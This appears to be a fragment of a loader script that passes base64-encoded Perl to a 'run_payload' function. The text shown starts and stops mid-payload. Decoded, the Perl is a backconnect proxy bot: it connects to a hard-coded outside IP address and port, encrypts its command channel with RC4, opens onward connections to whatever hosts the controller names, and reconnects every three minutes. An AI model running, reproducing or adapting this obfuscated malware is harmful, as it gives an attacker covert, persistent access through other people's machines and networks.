LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCQkJCQkgJF9yZXQwID0gMTsKCQkJIAoJCQkJCQkgfTsKCQkgCgkJCQkJCSBjbG9zZV86CgkJCQkJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMywgMTApOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsKCQkJCQkJCSAKCQkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCSAKCQkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGVieCkuIlx4MDBceDAwIjsKCQkgCgkJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkJIAoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsKCQkJCQkJIAoJCQkJCQkgc2VuZCgkc29ja2V0YXJyWyRlYnhdLCBzdWJzdHIoJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSAKCQkJCQl9CgkJCQkJIAoJCQkJCSAkcmVtYWluaW5nID0gMDsKCQkJCX0KCQkJCQoJCQl9CgkJCSAKCQkJICRyZW1haW5pbmc0ID0gMDsKCQkJIAoJCX0KCQkKCQllbHNlIHsKCQkJCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gMCkgeyAkYnVmZmVyMCA9ICcnOyB9CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSAnJzsKCQkJIAoJCQkgcmVjdigkc29ja2V0YXJyWzBdLCAkZGF0YSwgJGVheCwgMCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSBsZW5ndGgoJGRhdGEpOwoJCQkgCgkJCSAkYnVmZmVyMCAuPSAkZGF0YTsKCQkJIAoJCQkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIpKTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7CgoJCSBpZiAoJHNvY2tldGFycmF5WyRpXSA9PSAxKSB7IGNsb3NlKCRzb2NrZXRhcnJbJGldKTsgfQoJCSAKCSB9CgkgCgkgaWYgKCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgkgCgkgc2xlZXAgMTgwOwp9"

# script_5.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBJTzo6U29ja2V0Owp1c2UgSU86OlNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7CnVzZSBGY250bCBxdyhGX0dFVEZMIEZfU0VURkwgT19OT05CTE9DSyk7CgpteSAkaG9zdCA9ICczNi4yNTUuOTguMTU0JzsKbXkgJHBvcnQgPSA0MDAxOwoKbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsKCmZvciAobXkgJGkgPSAwOyAkaSA8IDUwOyAkaSsrKSB7IHN1YnN0cigkeG9yZGF0YSwgJGksIDEpID0gcGFjaygnQycsIHJhbmQoMjU1KSk7IH0KCnN1YiBSYzRfY3J5cHQgewoJIAoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoJIAoJIG15ICRidWZmMCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyYzQgPSAiXHgwMCIgeCAyNTY7CgkgCgkgbXkgJHBvY2tlbW9uMCA9IDA7CgkKCSBteSAkcG9ja2Vtb24xID0gMDsKCQoJIG15ICRwb2NrZW1vbjIgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMyA9IDA7CgkKCSBteSAkcG9ja2Vtb240ID0gMDsKCQoJIG15ICRwb2NrZW1vbjUgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNiA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2NrZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkgJHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSBteSAkdCA9IDA7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDw9IDI1NTsgJGkrKykgeyBzdWJzdHIoJHJjNCwgJGksIDEpID0gcGFjaygnQycsICRpKTsgfQoJIAoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpKSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkgJHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYgKCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkpOwoJCSAKCQkgJHQgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHBvY2tlbW9uMiwgMSkpOwoKCQkgJHBvY2tlbW9uMSArPSAkdDsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCSAkcG9ja2Vtb242ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb242KTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24yLCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJCSAkcG9ja2Vtb244ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9uOCk7CgkJIAoJCQkgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjcpOwoKCQkJICRwb2NrZW1vbjggKz0gJHBvY2tlbW9uNzsKCQoJCQkgJHBvY2tlbW9uOCA9ICRwb2NrZW1vbjggJiAyNTU7CgoJCQkgJHBvY2tlbW9uMCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb244LCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjUgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkpOwoKCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsKCQkJIAoJCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjUpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpID0gcGFjaygnQycsICh1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkpIF4gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRyYngsIDEpKSkpOwoJCSAKCQkgJHJzaSsrOwoJCQoJCSAkcmJ4Kys7CgkJCgkJICRyY3gtLTsKCQkKCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgewoJCQkgCgkJCSAkcmJ4ID0gMDsKCQl9CgkJIAoJfSB3aGlsZSgkcmN4ID4gMCk7CgkKfQoKc3ViIGJjY25jdCB7CgoJIG15ICRob3N0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRwb3J0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyZW1haW5pbmcgPSAwOwoJIAoJIG15ICRyZW1haW5pbmc0ID0gMDsKCSAKCSBteSAkZG9tYWluOwoJIAoJIG15ICRwb3J0MDsKCSAKCSBteSBAc29ja2V0YXJyOwoJIAoJIG15IEBzb2NrZXRhcnJheTsKCSAKCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOwoJIAoJIG15ICRidWZmZXJudWxsID0gIlx4MDAiIHggMzsKCSAKCSBteSAkYnVmZmVyMCA9ICcnOwoJIAoJIG15ICRpc0V4aXQgPSAwOwoJIAoJIG15ICRfcmV0MCA9IDA7CgkgCgkgbXkgJGVjeCA9IDA7CgkgCgkgbXkgJGVheCA9IDA7CgkgCgkgbXkgJGRhdGEgPSAnJzsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCSAKCSBteSAkcmVzcG9uY2UgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCSAKCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGluZXRfYXRvbigkJGhvc3QpKTsKCSAKCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9CgkgCgkgc3Vic3RyKCRidWZmZXIsIDAsIDUwKSA9ICR4b3JkYXRhOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1MCwgMikgPSAiXHhGRlx4RkYiOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsKCSAKCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7CgkgCgkgc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSAnJzsKCgkJCQkJIHJlY3YoJHNvY2tldGFyclskaV0sICRkYXRhLCA2NTUzMCwgMCk7CgkJCQkgCgkJCQkJIHVubGVzcyAoJGRhdGEpIHsKCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsKCQkJCQkgCgkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRpXSk7CgkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGkpLiJceDAwXHgwMCI7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgc3Vic3RyKCRyZXNwb25jZSwgMCwgMyksIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCSAKCQkJCQkJICRidWZmZXIgPSBwYWNrKCdDJywgJGkpLnBhY2soJ1MnLCBsZW5ndGgoJGRhdGEpKS4kZGF0YTsKCQkJCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgMywgbGVuZ3RoKCRkYXRhKSk7CgkJCQkgCgkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMSk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJIAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJICRjb3VudGVyKys7CgkJCQkgCgkJCQkgaWYgKCRjb3VudGVyID09IDEwICogNjApIHsKCQkJCQkgCgkJCQkJICRjb3VudGVyID0gMDsKCgkJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsKCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkgCgkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIE1TR19OT1NJR05BTCk7CgkJCQkgfQoJCQkJIAoJCQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJlbWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxhc3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAwICYmICRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkgCgkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJCQkJIAoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpID0gcGFjaygnQycsICRlYngpLiJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJCQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEpOwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRyZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJCQkgCgkJCQkJCSAkX3JldDAgPSAwOwoJCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJGVieCkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsKCQkJCQkJIAoJCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgNywgMSkpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4LCAxKSkpOwoJCQkKCQkJCQkJCSAkcG9ydDAgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDgsIDEpKSArIDEsIDEpLnN1YnN0cigkYnVmZmVyMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCwgMSkpICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2lmICh1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDcsIDEpKSA9PSAxKSB7CgkJCQoJCQkJCQkJICRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpKSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSkpLCB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDMsIDEpKSk7CgkJCQoJCQkJCQkJICRwb3J0MCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2UgewoJCQkKCQkJCQkJCSBnb3RvIGNsb3NlXzsKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCQkgZXZhbCB7CgkJCSAKCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCQkJCQkgY29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoJCSAKCQkJCQkJCSB2ZWMobXkgJHdpbiA9ICcnLCBmaWxlbm8oJHNvY2tldGFyclskZWJ4XSksIDEpID0gMTsKCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoJCQkKCQkJCQkJCSBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX1NFVEZMLCBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX0dFVEZMLCAwKSBeIE9fTk9OQkxPQ0spOwoJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCQkJCQkgJF9yZXQwID0gMTsKCQkJIAoJCQkJCQkgfTsKCQkgCgkJCQkJCSBjbG9zZV86CgkJCQkJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMywgMTApOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsKCQkJCQkJCSAKCQkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCSAKCQkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGVieCkuIlx4MDBceDAwIjsKCQkgCgkJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkJIAoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsKCQkJCQkJIAoJCQkJCQkgc2VuZCgkc29ja2V0YXJyWyRlYnhdLCBzdWJzdHIoJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSAKCQkJCQl9CgkJCQkJIAoJCQkJCSAkcmVtYWluaW5nID0gMDsKCQkJCX0KCQkJCQoJCQl9CgkJCSAKCQkJICRyZW1haW5pbmc0ID0gMDsKCQkJIAoJCX0KCQkKCQllbHNlIHsKCQkJCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gMCkgeyAkYnVmZmVyMCA9ICcnOyB9CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSAnJzsKCQkJIAoJCQkgcmVjdigkc29ja2V0YXJyWzBdLCAkZGF0YSwgJGVheCwgMCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSBsZW5ndGgoJGRhdGEpOwoJCQkgCgkJCSAkYnVmZmVyMCAuPSAkZGF0YTsKCQkJIAoJCQkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIpKTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7CgoJCSBpZiAoJHNvY2tldGFycmF5WyRpXSA9PSAxKSB7